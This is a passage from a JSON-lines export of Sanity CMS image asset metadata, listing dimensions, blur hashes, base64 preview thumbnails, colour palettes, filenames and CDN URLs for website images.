b9daf8692745cb1f1f16dc3c9a42d364f38f-2400x1256.png"} {"_createdAt":"2022-09-30T15:36:31Z","_id":"image-74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884-png","_rev":"8WeirZ6KB9gJqgJfvjVCQL","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:23Z","assetId":"74083910bdaf0b014bd63b9e43b4d7c178bf967e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DXQ]{AIoRiogs;~obFR*j@jb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5294117647058822,"height":884,"width":2236},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABFUlEQVQYlYXM2XKCMACF4bz/E3XaTmsXrbWKoOiAChIJJEES1mDC1o69Vcd/vttzQF7kLGGUU5pQJrhoqq7vfm/U972q67ISZVWelASVrEhGl2T1Hcw0sjjkgWxl3/e39l3XNW1z1jWgEGXI8QpbOlmaRysssGxkd6/2fNECnnAS4TAK4yxORSpOQilZK1XXdyglASLYhQcX+ggTemQR4/8SlmZJXiRFeVVWlGUlgLZBH4Y7mO/eDXe42A9Nb2TCr9VhYmPNiXUvuWrtpwHLwXjtP013D+PN42T7PHVe5vuBDgc6fDXQm0k+rXhks0szh3s0A9bW0QzzZ2ZoummuN7bjOZ7vQrTzkAtDDxEY0EsIR0fO/wDaJLhyr/uYjgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#054c93","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04417f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cae1e5","foreground":"#000","population":2.63,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cae1e5","foreground":"#000","population":2.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cbcfc","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54af64","foreground":"#fff","population":0.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#459ef8","foreground":"#fff","population":2.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884.png","path":"images/sczeoy4w/production/74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884.png","sha1hash":"74083910bdaf0b014bd63b9e43b4d7c178bf967e","size":90804,"uploadId":"i7GW4Tsiqz2Vag9XqP4kz0zxHUPGTxtp","url":"https://cdn.sanity.io/images/sczeoy4w/production/74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884.png"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8GaX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:56Z","assetId":"7426e0ed629ed1b782ea359c4c412b1eb26e6ae7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbPin=?^pJMykBL3nOVskpxa?ID%k8s.WE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokUXP/U8bdRwH8Pu/RHQ/yIzDzdToSMYyzDC6sTidDh86WEDHKA97yMiciwMqUG3XAQrDUDGVdGPy1Eeu7fXuevT6ePf93vXhruVB+/mYYow/vPJ+//RO3syurFxJCOmJeCL1hBcyj3kx604IGTcv/k/OULdKDbdKzYbHRKs6qF6boHrtEdVrdqJVnUQz7UQzehiOTz/yB6OJjc2wvh2Iku0AS7e2d6g/GD0SCMYox8tHovEkTaVVms5qKsfLhQjL50PheCGyw1FRlJNKQXvCyBnqEpJZLSGkkRcz2Mj/unAki2xUxGWPF5d+9WAoHMMXf27jpH0GR0bv4I0BGw4PjeL83Hw5lZRWGJWaP6nUVBVioEKMukIMaFAblDKoeQLhYAB+dEzDrNsFGy/WwDHjgK6uS2CxvA0tLcfrb7a24q2hQT3FsR7m3/9VQrQqEs0EoplINAMpLaGeT2NJ2sKdtTl0TX8HK4szyG4sgWPyPlzquggWiwWamprgWHMTDvZ+XpQCPg9DqOEk1CCEVpDSMjSGNKJjUZHRTD1Dk7VjcPkO2h8O41PnGMaf23Ht5/s4dbsPrZcv4Ostr8GrL7+E3R+0l7w/2P5gKC05NVokOtFRJ1q9SAiUlDQY2SDsS4tghB+C13kD+no+hZt9V2F+/BvwT38N0bErMN3dAe+2HodXmpux8/SJiqu/Y50pqqqzqChqUSlgScnXy0oWjIII1YwfDuRV0IMumBvrgYvtbXDhTBuMXu4E31fnIP3lW+D95CT0njtZP3/6FF7/+HxpdaLfx1RSgkuXEpTsJrCYEdHMS1jNi1jLxfFADmLp+SJ6B3vx3tk2fND+Di6cbUXhvWNodJ9A9XYnRr79DH3jA7i9MFmmIc8KY3KBMY3d8udi/hSVWL6aS3B7+QS3n+O4g4Sf23s6y+XujnD8wDVBtnbt0g9P7e5/9IYEt96XcHZAqq9+nzwMLaYOhWchkDenmJoUOVMRQ9eLybCtIrP9e7nYtYNczHqYY61/xdatf//2i7W+PGuFhal+vHl1BL/oGMYHVhv8Pm6DyJINRJ8N5fUhTG/2QXqz8x/v2rNoeS9VVwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483f39","foreground":"#fff","population":1.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820114","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1cf87","foreground":"#000","population":3.49,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1cf87","foreground":"#000","population":3.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46c8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844.png","path":"images/sczeoy4w/production/7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844.png","sha1hash":"7426e0ed629ed1b782ea359c4c412b1eb26e6ae7","size":482770,"uploadId":"XiS4pgtgsrhZtG4cPJkmR3l00frYwCYw","url":"https://cdn.sanity.io/images/sczeoy4w/production/7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844.png"} {"_createdAt":"2023-06-07T13:33:23Z","_id":"image-7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWB8gT","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:33:23Z","assetId":"7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAEySf~pE3IBen4oxtaw%NxwNbj?VsjrW;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAhEAACAgICAQUAAAAAAAAAAAABAgMEABEFIQYUMTNBUf/EABYBAQEBAAAAAAAAAAAAAAAAAAIDBP/EABYRAQEBAAAAAAAAAAAAAAAAABEAAf/aAAwDAQACEQMRAD8AzFViktGzXiZzKpBBHsf3EHLQQ+tjpylgiLrYbe/vL3g+pzrrS4tt1K8dx5EhQOTsnXeZ9Vyebcv5PxOd7bNB8Z7GxhlzemkSwwViBhlWLf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3953","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82711c","foreground":"#fff","population":3.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848279","foreground":"#fff","population":5.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb2c0","foreground":"#000","population":0.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5c9a0","foreground":"#000","population":3.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848279","foreground":"#fff","population":5.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5484b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"swift-customer-img.jpg","path":"images/sczeoy4w/production/7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037.jpg","sha1hash":"7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f","size":1211054,"uploadId":"YyMU72BIPmMn7Ro7xtKo3vPCl6nM4kln","url":"https://cdn.sanity.io/images/sczeoy4w/production/7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037.jpg"} {"_createdAt":"2022-10-03T10:31:28Z","_id":"image-74393525a8b040dca2dadd2397cfdab1ee47df06-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfvvSv2p","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:28Z","assetId":"74393525a8b040dca2dadd2397cfdab1ee47df06","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwj/xAAjEAABBAAFBQEAAAAAAAAAAAABAAIDESEiM0FREhMjMlI0/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECBP/EABkRAAIDAQAAAAAAAAAAAAAAAAARAQMTIf/aAAwDAQACEQMRAD8A0e6SbLcYvvfW3Klrpm34xjN9bcpNtkNsu/RyVa/ACi7X5KTNWXEOQme5LjHuaxQlIb6pcztQ7lCGTNSP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c2c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af294f","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f78da5","foreground":"#000","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfd4aa","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f78da5","foreground":"#000","population":0.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#925e93","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f82258","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cassandra-connect.jpg","path":"images/sczeoy4w/production/74393525a8b040dca2dadd2397cfdab1ee47df06-1280x720.jpg","sha1hash":"74393525a8b040dca2dadd2397cfdab1ee47df06","size":87181,"uploadId":"kXUdDKFLyIjDMJsdRR8b3SaGksO80UXb","url":"https://cdn.sanity.io/images/sczeoy4w/production/74393525a8b040dca2dadd2397cfdab1ee47df06-1280x720.jpg"} {"_createdAt":"2024-03-08T08:55:03Z","_id":"image-744734608a7e307a55580485d57f1b13c50fbd99-3552x2266-png","_rev":"zTx0EUw0vMrj4JXNbrNUSk","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T08:55:03Z","assetId":"744734608a7e307a55580485d57f1b13c50fbd99","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9Ss52-:IV%M-;~pIVj?WBWBogt5Rlofj=-;j]ofaeax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5675198587819947,"height":2266,"width":3552},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABlUlEQVQokWWSUW8UMQyE7///LpCo1AdeQFQgRGkRuutd97JOYntsZ5F37xBcR6M8RPlie5KdKphFRFUdCEUA4e7jjZZlWZfl787OPQBjVmZVUcDcYzv6r8YYZq4KM4uIMZaIsVuWRYFzodPrVErpva9lb9jFIzozUWWWFR7ukTDD9tN8eJ3mmZj5evd/F7hH7Uy1ieIKe8JifqI+URdRS7mZR9zCnaW17YxvShjmVDtRV4W7r7jDAj7cR/gYMSKCmVtrzALk5AmPsahiPpdyLpyhqWquJDHzEA5whCfcO9faeuetwQsMGM00lzlhKDTfrUpUCWEDZ/7u0RqXQkRNRNeu18DMolYhYlk7AkxhoqZpqF42a23TdCZqgEVc0zaL1lCrimzAWzsLjid6fDo+/yq/9/3lKDNhbdu8d21NmCFim1UNFnZ16/bj5/zhfv/ubv/+7nD/8fT0XLOyezBr68KsIhBN51/KUTNw9yHqhyM/fCufHs6fv0xfv5eXY084xgCQKV0mTN1874isz+KdrbOJuFn8Aeap9dUTjIwQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4b4c","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d577d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#686e99","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5cda9","foreground":"#000","population":0.08,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fdbf4","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e99","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#444dde","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mysql-setup-console.jpg","path":"images/sczeoy4w/production/744734608a7e307a55580485d57f1b13c50fbd99-3552x2266.png","sha1hash":"744734608a7e307a55580485d57f1b13c50fbd99","size":151181,"uploadId":"u7qOp2eeLcL5Ga1I3o72DW42ps2Uodgy","url":"https://cdn.sanity.io/images/sczeoy4w/production/744734608a7e307a55580485d57f1b13c50fbd99-3552x2266.png"} {"_createdAt":"2023-06-07T13:30:33Z","_id":"image-745bf061fed7bfb88d195d809f4a5cf541c88a22-1812x978-jpg","_rev":"OSa4Of7leLeKOMRysggflE","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:30:33Z","assetId":"745bf061fed7bfb88d195d809f4a5cf541c88a22","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Bp;BDh9.NjA1~V4=I8^%xoDi9b-*?EIA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.852760736196319,"height":978,"width":1812},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACIQAAICAwACAQUAAAAAAAAAAAECAwQABRESIhMVQVFhcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBBP/EABsRAQADAAMBAAAAAAAAAAAAAAEAAgMhIjFR/9oADAMBAAIRAxEAPwCZ67RWbKkVbSivF1mkkfnqD981p2MOk09mPXuuxisoFKK3WBydU7U30axH8jeDV+sPz7Yu09qeOWHwlYdOaNlttYfOIFDofZTms3LUUMoqiEGMDwVe8/v7wxBPftIwCzuBzDLrlQugQaaWaiz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313259","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f4387","foreground":"#fff","population":4.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#717d84","foreground":"#fff","population":5.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bdaa","foreground":"#000","population":0.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8e3f3","foreground":"#000","population":2.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717d84","foreground":"#fff","population":5.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0bb40","foreground":"#000","population":3.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"norauto-customer-img.jpg","path":"images/sczeoy4w/production/745bf061fed7bfb88d195d809f4a5cf541c88a22-1812x978.jpg","sha1hash":"745bf061fed7bfb88d195d809f4a5cf541c88a22","size":1292177,"uploadId":"vjZrlfTxtFxwdiiAsvWL6cWhi0GQEwrh","url":"https://cdn.sanity.io/images/sczeoy4w/production/745bf061fed7bfb88d195d809f4a5cf541c88a22-1812x978.jpg"} {"_createdAt":"2024-07-16T13:22:12Z","_id":"image-7460e721a9d018b8d94d18bc3193da2d489c7066-908x908-png","_rev":"7TSbNTeKBQNzcdaFtHw4im","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:24:09Z","altText":null,"assetId":"7460e721a9d018b8d94d18bc3193da2d489c7066","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Ru2M$N00xu1I$ia0a0gNcY00bH49Rj3CyDgNS#e9U^0zbH3CWCvz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADtElEQVQ4jXWVS2xWVRSFdws0VKXGBI2vgWKsBl9VjA5IEwdiNBL9zy5goRAKFe0LgT4wiDU0fyuFKi2Woi2EtKKABSFagzp3QJgAaSIJIRHjFAZoscTS/Zl97r21Ewc7+f+bc9Zde+219hVUhJCWSoGplKDyIipbURlF5Yqp/I3KBCp/oPIzKm2olKNyl99J78ZKfiQPZqPysKmsJchhVMZM5SpBJsjJlAWZIshNU7mGyq+ojJjKuwQpNZU5GehMsMdR2UaQM6ZynSBGEFg2C1beBpXFUFFIfBbELMg4KudQyROkDJUiCwlggTOLYCpjqPyDCqiYrbzd2PKUWefrZvnXjNbnjcbHjJr7jbfm+plJglxCpSMlVOiArtlaVM5Mgzm75bONpjJjsN74apvx7cfGyV1mw61mfdVG6yKjsti7uIXKBVNpQGW+pAM4TIhtRmbkxKiaB7vVOLTZ6Arw5VY4njf2rjEONML+DUbtQ4ksKjdQOYXKEkmnORZZaVp+qKrE2F0Bh7bAnko48iHsWw8Nj8LON4zhFmh6xiw9byqXTaXbAUcJcjVr1ULK0IfRVAYDdfBNO/y0H77eTnzJYD0M1Bp1CxzMSTjLP1E564BXoseydlcUWWS36g5YfSe0LIKeVTDYAEPNRGafvwPvv5BpaCngJCrXHdBN6x5zaxjNzxqfLHf94IPF8NFLSct91bB3DXQu9VZhw4NQNc+oKMx0jHI54IQ5YE4wt0P/euPULjjdB999mgzD2z64EY62wXAr9FYl4PlXjeq7I0PLAC2J000HjJoM1BtDLcbxPIy0w46XobEU2l+BEx3wyzH4sR9+6PUXmG1+0tACUvuMS5rNaxGw/hEzt0N/jdsl0W3TE1B9D2wvTzQ82QXHdhB9eWBjQiJh+Bcq5x2wzTybPtm6BWZu5KEWONFpfL8nmahr2LvaJ5uAutG/qIWW5zwxmYa/ofKZt1xuKiPkZJya+2DfupgIRnvcJkbfOmecWqWOyL4rB+8tNKucBvNNdBqVpZKuIN8a56gsnnSz0r3M2PmmsWlhIvrbDyQZ9orTLXGfZpaZQuUiQZpRuTdbDqUWJI/KJVtRdCvGzheDW8Kl8Jpp+uS/M5syld8J0oPK06jMyvbhHFTKCNJBkAuWkxtxSMml/ytv8yIqPZbsg7n/LdjFEbTIV1C6NTzol9M4eQKynLs1fJo+ANfM23RmEWwa0Bdj+hkoJMh8giwhSLepnPU4zQAcN5XzqPT5AFwzb9McI61/AVNZl2j61UYBAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":47.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ac9c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9af6e","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48b65","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":47.85,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-finserv.png","path":"images/sczeoy4w/production/7460e721a9d018b8d94d18bc3193da2d489c7066-908x908.png","sha1hash":"7460e721a9d018b8d94d18bc3193da2d489c7066","size":29003,"title":null,"uploadId":"CctM5wMUnyAABT5uTBDDJqPdi37sGmpy","url":"https://cdn.sanity.io/images/sczeoy4w/production/7460e721a9d018b8d94d18bc3193da2d489c7066-908x908.png"} {"_createdAt":"2022-06-15T20:02:28Z","_id":"image-74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8CC1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:38Z","assetId":"74d85a2831f6e3b574ebf5c3d45f58144b25842c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPP?dn%#?t4r$gL4VtVYbWtS=?IoIW$do#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADDklEQVQokWXQzXMadRjA8f33PDnjjONBb3pUqz34UqzaccokqejYWmI7CYHmxZKQGCeteSO00ETeCSFQ2GVhWXZZdvf37C6wS5m08jyd5OrhM9/7l5MVdr3ZUpcEUd0UW70Nsd2LdbpmTDdHMRO8/2HWONaR9Vg2V/w7ny/tyIq+ySxvk4EXZuDe4MoVfjF1nBOeJ9N28kWWJVMZKJ7WoKsyMMEDZo2vqLoLdcmBeovBv5kShMOPrFhsy26KMoDl2gDDJsAgwpXK9fXnqYwVTxxT4tkJHSWOKZs7o07XIBM80plHPWNExYZFa0cyLW5l6W5wgfx+P62trlFTEMkGm2wGts3YX5wkG4/5Ztes8x1qCPK0wcsotnuo6Q7qzEVeHmC8aOD8kw5+E6rjtZ//wWvfzuBc4C4eJZKodDpTx9BpaPatoaE94UzwoiZ4zASXTHDxqmxEDIbEdJ3OzusU3CzRF39U6XqoTTcjNfKHkrS0naZMqUFdqYVOTyS3LzqeLh1wDLwos1wG4BLACC0Y0CWbWTRUy6Tl5mkv+gvdfrhPX4cE8m+o9NtOjxb3u3SQFqhWPUeNz5LbOnEm3dNDDmAQtcBhFrv6MHVMhgPTRPtSO41e6nNUN97Fncgc/hqK40ykjHdWqhhcPcXt7SxmkyfYyB0RVPacCzF1wDmmGXUMw7z8MDD605HRw5GhIvRUVBpFZIkb2H/8DibDX+HyQgTnHz7F+/f3cCWwhcfBdWzs7k7FQpLg5Qv7jZQ+4EayuG5LArCOQI7aIq8v0Vhv06DXJkOsEKSDBBsf0HnoY3r6YJb+vLdA0UCEDgNh6q6s0jgfJ1fM0aSTH6BSOOQ8/vR3q1YoafWSBFKNH2sCP+kL/ETj+VdKlZ+83OYv9j/j7eX3+fKDL8Vnc7eUzIy/V19+JA8yhxJKGQnVgoxKoYJqYZl7JZ1/OGqdfW+3K7dH3drNiVb3XWh132ut5nujVX3/dbM+rKz6Xsd/8PWXPv1J/e69e4MfP5of70YCF1J+FtXCLCn5OVTyt1DJf/IWTanaz+lK6jgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45372d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042494","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59817","foreground":"#000","population":4.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69a90","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c6cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59817","foreground":"#000","population":4.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844.png","path":"images/sczeoy4w/production/74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844.png","sha1hash":"74d85a2831f6e3b574ebf5c3d45f58144b25842c","size":301014,"uploadId":"iLk7IZmCTUNq7RYHzPzTTPDup9q2FxGH","url":"https://cdn.sanity.io/images/sczeoy4w/production/74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844.png"} {"_createdAt":"2022-06-30T20:10:59Z","_id":"image-74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233-jpg","_rev":"CK1sLU2mnwa3vmbYWEeJ9K","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:45Z","assetId":"74da099db6ce98edfefc2cf20c7032954db19db5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5S?AN_N,tyBn5-XITH@%2tPR6RPnOkCROyoz@o}MctRs=MwW:sqRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.078669910786699,"height":1233,"width":1330},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAATABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAIDBAUI/8QAIRAAAgICAgEFAAAAAAAAAAAAAQIAEQMhBBIFMTJBYXH/xAAYAQADAQEAAAAAAAAAAAAAAAAAAQIDBf/EABoRAAIDAQEAAAAAAAAAAAAAAAABAiFRAxL/2gAMAwEAAhEDEQA/APT4w9QnVmAH3LSDXvMmyg1fxM75COQVUXAG9K1zZj2vjvo0DY3E1qCRvURFelhIi/WZ01yn/IiMk4/l+Xnxc1lx5WVaGhERM27OtyhFwVH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#555756","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8143c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eea1ae","foreground":"#000","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a4ab","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eea1ae","foreground":"#000","population":0.